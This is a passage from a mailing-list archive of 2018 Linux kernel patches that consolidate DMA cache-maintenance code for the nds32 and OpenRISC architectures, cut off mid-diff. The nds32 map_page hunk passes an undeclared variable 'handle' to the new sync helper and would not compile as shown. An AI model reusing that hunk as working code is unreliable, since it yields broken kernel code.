	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id B62226E8
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 22 May 2018 12:05:10 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=MCWBT5DxpAZSNH8gUehLkoPxF5zldmBPLUmaKchgtRw=;
	b=hzmLyV3lw7e2RGmBeuL1PBq09
	q7l9J0ZgHg+9kRAelaeV5uiKKdErms2GsQJlbo6rLFHLSBmy4yvanspoTZGYSwMKT3ZBg4wnRakXU
	an3CwsEgRl30j6vJ38tVVkAqxp8J1l9t99zadJFAjTDuXFueobMWPlm/CsibC0ubV3Mu5nrLkZuRS
	WoVLb0bydMccJrPo9Gt75EB8mlpwaeoWex/4yxJQJWfvQ83XmV9jAVAWcYXuiltsgPyq1j+dl5deH
	FlypPKgUYMrusdkJP+GY8EHLPmL43PyVDiY++TjXmSLdkm8QqhhSrRCcqGPfkjxgIapMWSYfo3Hof
	ZL3arADMw==;
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fL62H-0008BP-2p; Tue, 22 May 2018 12:05:01 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24492 gmane.linux.kernel.cross-arch:44301 gmane.linux.ports.parisc:28654 gmane.linux.ports.sh.devel:57072 gmane.linux.ports.hexagon:1760 gmane.linux.kernel:2773775 gmane.linux.ports.alpha:5081 gmane.linux.ports.sparc:27909 gmane.linux.kernel.arc:3937 gmane.linux.ports.arm.kernel:652029
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24492>

Make sure all other DMA methods call nds32_dma_sync_single_for_{device,cpu}
to perform cache maintaince, and remove the consisteny_sync helper that
implemented both with entirely separate code based off an argument.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/nds32/kernel/dma.c | 140 +++++++++++++++++-----------------------
 1 file changed, 61 insertions(+), 79 deletions(-)

diff --git a/arch/nds32/kernel/dma.c b/arch/nds32/kernel/dma.c
index e1bf7206e015..4e6fb4ffd3f7 100644
--- a/arch/nds32/kernel/dma.c
+++ b/arch/nds32/kernel/dma.c
@@ -22,11 +22,6 @@
 static pte_t *consistent_pte;
 static DEFINE_RAW_SPINLOCK(consistent_lock);
 
-enum master_type {
-	FOR_CPU = 0,
-	FOR_DEVICE = 1,
-};
-
 /*
  * VM region handling support.
  *
@@ -333,15 +328,53 @@ static int __init consistent_init(void)
 }
 
 core_initcall(consistent_init);
-static void consistent_sync(void *vaddr, size_t size, int direction, int master_type);
+
+static void
+nds32_dma_sync_single_for_device(struct device *dev, dma_addr_t handle,
+				 size_t size, enum dma_data_direction dir)
+{
+	unsigned long start = (unsigned long)phys_to_virt(handle);
+
+	switch (dir) {
+	case DMA_FROM_DEVICE:
+		break;
+	case DMA_TO_DEVICE:
+	case DMA_BIDIRECTIONAL:
+		cpu_dma_wb_range(start, start + size);
+		break;
+	default:
+		BUG();
+	}
+}
+
+static void
+nds32_dma_sync_single_for_cpu(struct device *dev, dma_addr_t handle,
+			      size_t size, enum dma_data_direction dir)
+{
+	unsigned long start = (unsigned long)phys_to_virt(handle);
+
+	switch (dir) {
+	case DMA_TO_DEVICE:
+		break;
+	case DMA_FROM_DEVICE:
+	case DMA_BIDIRECTIONAL:
+		cpu_dma_inval_range(start, start + size);
+		break;
+	default:
+		BUG();
+	}
+}
+
 static dma_addr_t nds32_dma_map_page(struct device *dev, struct page *page,
 				     unsigned long offset, size_t size,
 				     enum dma_data_direction dir,
 				     unsigned long attrs)
 {
+	dma_addr_t dma_addr = page_to_phys(page) + offset;
+
 	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		consistent_sync((void *)(page_address(page) + offset), size, dir, FOR_DEVICE);
-	return page_to_phys(page) + offset;
+		nds32_dma_sync_single_for_device(dev, handle, size, dir);
+	return dma_addr;
 }
 
 static void nds32_dma_unmap_page(struct device *dev, dma_addr_t handle,
@@ -349,75 +382,19 @@ static void nds32_dma_unmap_page(struct device *dev, dma_addr_t handle,
 				 unsigned long attrs)
 {
 	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		consistent_sync(phys_to_virt(handle), size, dir, FOR_CPU);
+		nds32_dma_sync_single_for_cpu(dev, handle, size, dir);
 }
 
-/*
- * Make an area consistent for devices.
- */
-static void consistent_sync(void *vaddr, size_t size, int direction, int master_type)
-{
-	unsigned long start = (unsigned long)vaddr;
-	unsigned long end = start + size;
-
-	if (master_type == FOR_CPU) {
-		switch (direction) {
-		case DMA_TO_DEVICE:
-			break;
-		case DMA_FROM_DEVICE:
-		case DMA_BIDIRECTIONAL:
-			cpu_dma_inval_range(start, end);
-			break;
-		default:
-			BUG();
-		}
-	} else {
-		/* FOR_DEVICE */
-		switch (direction) {
-		case DMA_FROM_DEVICE:
-			break;
-		case DMA_TO_DEVICE:
-		case DMA_BIDIRECTIONAL:
-			cpu_dma_wb_range(start, end);
-			break;
-		default:
-			BUG();
-		}
-	}
-}
-
-static int nds32_dma_map_sg(struct device *dev, struct scatterlist *sg,
-			    int nents, enum dma_data_direction dir,
-			    unsigned long attrs)
+static void
+nds32_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
+			     int nents, enum dma_data_direction dir)
 {
 	int i;
 
 	for (i = 0; i < nents; i++, sg++) {
-		char *virt =
-		    page_address((struct page *)sg->page_link) + sg->offset;
-		consistent_sync(virt, sg->length, dir, FOR_CPU);
+		nds32_dma_sync_single_for_device(dev, sg_dma_address(sg),
+				sg->length, dir);
 	}
-	return nents;
-}
-
-static void nds32_dma_unmap_sg(struct device *dev, struct scatterlist *sg,
-			       int nhwentries, enum dma_data_direction dir,
-			       unsigned long attrs)
-{
-}
-
-static void
-nds32_dma_sync_single_for_cpu(struct device *dev, dma_addr_t handle,
-			      size_t size, enum dma_data_direction dir)
-{
-	consistent_sync((void *)phys_to_virt(handle), size, dir, FOR_CPU);
-}
-
-static void
-nds32_dma_sync_single_for_device(struct device *dev, dma_addr_t handle,
-				 size_t size, enum dma_data_direction dir)
-{
-	consistent_sync((void *)phys_to_virt(handle), size, dir, FOR_DEVICE);
 }
 
 static void
@@ -427,23 +404,28 @@ nds32_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg, int nents,
 	int i;
 
 	for (i = 0; i < nents; i++, sg++) {
-		char *virt =
-		    page_address((struct page *)sg->page_link) + sg->offset;
-		consistent_sync(virt, sg->length, dir, FOR_CPU);
+		nds32_dma_sync_single_for_cpu(dev, sg_dma_address(sg),
+				sg->length, dir);
 	}
 }
 
-static void
-nds32_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
-			     int nents, enum dma_data_direction dir)
+static int nds32_dma_map_sg(struct device *dev, struct scatterlist *sg,
+			    int nents, enum dma_data_direction dir,
+			    unsigned long attrs)
 {
 	int i;
 
 	for (i = 0; i < nents; i++, sg++) {
-		char *virt =
-		    page_address((struct page *)sg->page_link) + sg->offset;
-		consistent_sync(virt, sg->length, dir, FOR_DEVICE);
+		nds32_dma_sync_single_for_device(dev, sg_dma_address(sg),
+				sg->length, dir);
 	}
+	return nents;
+}
+
+static void nds32_dma_unmap_sg(struct device *dev, struct scatterlist *sg,
+			       int nhwentries, enum dma_data_direction dir,
+			       unsigned long attrs)
+{
 }
 
 struct dma_map_ops nds32_dma_ops = {
-- 
2.17.0


From - Thu Nov 08 21:41:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 07/25] nds32: remove the broken kmap code in nds32_dma_map_sg
Date: Tue, 22 May 2018 14:04:12 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <20180522120430.28709-8-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526990963 17243 195.159.176.226 (22 May 2018 12:09:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:09:23 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue May 22 14:09:17 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fL66P-0004No-Bn
	for glki-iommu@m.gmane.org; Tue, 22 May 2018 14:09:17 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 21FE7CA8;
	Tue, 22 May 2018 12:05:15 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 71A4ECA8
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 22 May 2018 12:05:11 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 1D0926EC
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 22 May 2018 12:05:11 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=eqxh97zml5FyBs7EgDOU9dxjMgsyLLyPt4CdWzTEX8o=;
	b=Ey6WPRyvPuwFbEKQSqtlqXtnO
	jUVKIeTroxTlCVdaIjzck1vjItAZQmQZ4UJViZBCW2EKDTGua8VhMm4amKn/Qpnz/pFCqLiHzer9T
	QhHHn3V5Otgz6ynN77dmhGHs9cdg1u4l68KeIAJsAd3wqANMg3YrQyg3H5tgyxFRFqX17mjXG2+0P
	jR7XVqst5kTo8FXjaB4oZH9il7Pq3+8nwyUqwcRjp015L9wKA+7ZGC6+Q/jiWh+Wn95sB8D086mAu
	Gmb4Qgc3Q7Xa588M99LJsNLlJZfsw6KF+l9rmxyEbXrJZqFadLOvpedriFNbpRPIIt3Mhg8r5g5J5
	OftAM32jw==;
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fL62E-00088t-4j; Tue, 22 May 2018 12:04:58 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24493 gmane.linux.kernel.cross-arch:44302 gmane.linux.ports.parisc:28655 gmane.linux.ports.sh.devel:57073 gmane.linux.ports.hexagon:1761 gmane.linux.kernel:2773779 gmane.linux.ports.alpha:5082 gmane.linux.ports.sparc:27910 gmane.linux.kernel.arc:3938 gmane.linux.ports.arm.kernel:652034
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24493>

nds32_dma_map_sg is the only of the various DMA operations that tries
to deal with highmem (the single page variants and SG sync routines are
missing, SG unmap is entirely unimplemented), and it does so without
taking into account S/G list items that are bigger than a page, which
are legal and can happen frequently.

Remove this code for now - if highmem support on nds32 becomes a real
thing it needs to be added back as a loop over pages in the newly
consolidated code that deals with all operations.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/nds32/kernel/dma.c | 21 +++------------------
 1 file changed, 3 insertions(+), 18 deletions(-)

diff --git a/arch/nds32/kernel/dma.c b/arch/nds32/kernel/dma.c
index d291800fc621..e1bf7206e015 100644
--- a/arch/nds32/kernel/dma.c
+++ b/arch/nds32/kernel/dma.c
@@ -393,24 +393,9 @@ static int nds32_dma_map_sg(struct device *dev, struct scatterlist *sg,
 	int i;
 
 	for (i = 0; i < nents; i++, sg++) {
-		void *virt;
-		unsigned long pfn;
-		struct page *page = sg_page(sg);
-
-		sg->dma_address = sg_phys(sg);
-		pfn = page_to_pfn(page) + sg->offset / PAGE_SIZE;
-		page = pfn_to_page(pfn);
-		if (PageHighMem(page)) {
-			virt = kmap_atomic(page);
-			consistent_sync(virt, sg->length, dir, FOR_CPU);
-			kunmap_atomic(virt);
-		} else {
-			if (sg->offset > PAGE_SIZE)
-				panic("sg->offset:%08x > PAGE_SIZE\n",
-				      sg->offset);
-			virt = page_address(page) + sg->offset;
-			consistent_sync(virt, sg->length, dir, FOR_CPU);
-		}
+		char *virt =
+		    page_address((struct page *)sg->page_link) + sg->offset;
+		consistent_sync(virt, sg->length, dir, FOR_CPU);
 	}
 	return nents;
 }
-- 
2.17.0


From - Thu Nov 08 21:41:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc
Subject: [PATCH 15/25] openrisc: use generic dma_noncoherent_ops
Date: Tue, 22 May 2018 14:04:20 +0200
Lines: 183
Approved: news@gmane.org
Message-ID: <20180522120430.28709-16-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526990992 19118 195.159.176.226 (22 May 2018 12:09:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:09:52 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 Michal Simek <monstr@monstr.eu>, Vincent Chen <deanbo422@gmail.com>,
 linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
 linux-sh@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
 openrisc@lists.librecores.org, Greentime Hu <green.hu@gmail.com>,
 linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
 nios2-dev@lists.rocketboards.org, linux-snps-arc@lists.infradead.org,
 linux-arm-kernel@lists.infradead.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Tue May 22 14:09:47 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1fL66r-0004q9-KJ
	for linux-arm-kernel@m.gmane.org; Tue, 22 May 2018 14:09:45 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=x0Bz7iFVeY9TPc4TCbgFv3o6eDQX1Az9ZzibbQkJWr8=; b=PoZ7Y1opFScEneopbgRBEKqY04
	Wvxc6AnGUybrNPSSVBAkelBwLTkyNcSKApaCr1sU7q8TXoGW6csTCA5pn3fAosodohCIvd4b+NQBC
	+eHTTcZb2tqLQ0JLb7syxX6vf+DeMUmMvCc7woaJ4PhIYT7h9bbT9ascNT5ClzdFlyoi1w2Wc8AuR
	yNioTwDsoacuzPuOVybI9BL0r6gNhXdLgu/PeTo9e0CfBeFI43Pi8jrm3iT/PRJeuB14EaljSKP2R
	788+c3uwJYYjcGGaAarJUrzhYlzwBTwFOcGJYkk3tM3kxSiEjx3gHFWuqGhQI0bSY1JrYL0z8vCVu
	TgL0XvNQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fL68w-00062m-OH; Tue, 22 May 2018 12:11:54 +0000
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210]
 helo=localhost)
 by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fL62i-0000s8-3s; Tue, 22 May 2018 12:05:28 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch@lst.de>
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:652035 gmane.linux.kernel.iommu:24494 gmane.linux.kernel.cross-arch:44303 gmane.linux.ports.parisc:28656 gmane.linux.ports.sh.devel:57074 gmane.linux.ports.hexagon:1762 gmane.linux.kernel:2773781 gmane.linux.ports.alpha:5083 gmane.linux.ports.sparc:27911 gmane.linux.kernel.arc:3939
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/652035>

Switch to the generic noncoherent direct mapping implementation.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/openrisc/Kconfig                   |  2 +
 arch/openrisc/include/asm/Kbuild        |  1 +
 arch/openrisc/include/asm/dma-mapping.h | 35 -------------
 arch/openrisc/kernel/dma.c              | 65 ++++---------------------
 4 files changed, 12 insertions(+), 91 deletions(-)
 delete mode 100644 arch/openrisc/include/asm/dma-mapping.h

diff --git a/arch/openrisc/Kconfig b/arch/openrisc/Kconfig
index 9ecad05bfc73..65e3c574c9d3 100644
--- a/arch/openrisc/Kconfig
+++ b/arch/openrisc/Kconfig
@@ -6,6 +6,8 @@
 
 config OPENRISC
 	def_bool y
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
+	select DMA_NONCOHERENT_OPS
 	select OF
 	select OF_EARLY_FLATTREE
 	select IRQ_DOMAIN
diff --git a/arch/openrisc/include/asm/Kbuild b/arch/openrisc/include/asm/Kbuild
index f05c722a21f8..e663a996b612 100644
--- a/arch/openrisc/include/asm/Kbuild
+++ b/arch/openrisc/include/asm/Kbuild
@@ -6,6 +6,7 @@ generic-y += current.h
 generic-y += device.h
 generic-y += div64.h
 generic-y += dma.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/openrisc/include/asm/dma-mapping.h b/arch/openrisc/include/asm/dma-mapping.h
deleted file mode 100644
index e212a1f0b6d2..000000000000
--- a/arch/openrisc/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * OpenRISC Linux
- *
- * Linux architectural port borrowing liberally from similar works of
- * others.  All original copyrights apply as per the original source
- * declaration.
- *
- * OpenRISC implementation:
- * Copyright (C) 2010-2011 Jonas Bonn <jonas@southpole.se>
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- */
-
-#ifndef __ASM_OPENRISC_DMA_MAPPING_H
-#define __ASM_OPENRISC_DMA_MAPPING_H
-
-/*
- * See Documentation/DMA-API-HOWTO.txt and
- * Documentation/DMA-API.txt for documentation.
- */
-
-#include <linux/dma-debug.h>
-#include <linux/dma-mapping.h>
-
-extern const struct dma_map_ops or1k_dma_map_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &or1k_dma_map_ops;
-}
-
-#endif	/* __ASM_OPENRISC_DMA_MAPPING_H */
diff --git a/arch/openrisc/kernel/dma.c b/arch/openrisc/kernel/dma.c
index d6a0bf1fa713..159336adfa2f 100644
--- a/arch/openrisc/kernel/dma.c
+++ b/arch/openrisc/kernel/dma.c
@@ -19,9 +19,7 @@
  * the only thing implemented properly.  The rest need looking into...
  */
 
-#include <linux/dma-mapping.h>
-#include <linux/dma-debug.h>
-#include <linux/export.h>
+#include <linux/dma-noncoherent.h>
 
 #include <asm/cpuinfo.h>
 #include <asm/spr_defs.h>
@@ -80,10 +78,9 @@ page_clear_nocache(pte_t *pte, unsigned long addr,
  * is being ignored for now; uncached but write-combined memory is a
  * missing feature of the OR1K.
  */
-static void *
-or1k_dma_alloc(struct device *dev, size_t size,
-	       dma_addr_t *dma_handle, gfp_t gfp,
-	       unsigned long attrs)
+void *
+arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	unsigned long va;
 	void *page;
@@ -115,9 +112,9 @@ or1k_dma_alloc(struct device *dev, size_t size,
 	return (void *)va;
 }
 
-static void
-or1k_dma_free(struct device *dev, size_t size, void *vaddr,
-	      dma_addr_t dma_handle, unsigned long attrs)
+void
+arch_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_handle, unsigned long attrs)
 {
 	unsigned long va = (unsigned long)vaddr;
 	struct mm_walk walk = {
@@ -133,13 +130,10 @@ or1k_dma_free(struct device *dev, size_t size, void *vaddr,
 	free_pages_exact(vaddr, size);
 }
 
-static void
-or1k_sync_single_for_device(struct device *dev,
-			    dma_addr_t dma_handle, size_t size,
-			    enum dma_data_direction dir)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t addr, size_t size,
+		enum dma_data_direction dir)
 {
 	unsigned long cl;
-	dma_addr_t addr = dma_handle;
 	struct cpuinfo_or1k *cpuinfo = &cpuinfo_or1k[smp_processor_id()];
 
 	switch (dir) {
@@ -163,45 +157,4 @@ or1k_sync_single_for_device(struct device *dev,
 		 */
 		break;
 	}
-
-}
-
-static dma_addr_t
-or1k_map_page(struct device *dev, struct page *page,
-	      unsigned long offset, size_t size,
-	      enum dma_data_direction dir,
-	      unsigned long attrs)
-{
-	unsigned long cl;
-	dma_addr_t addr = page_to_phys(page) + offset;
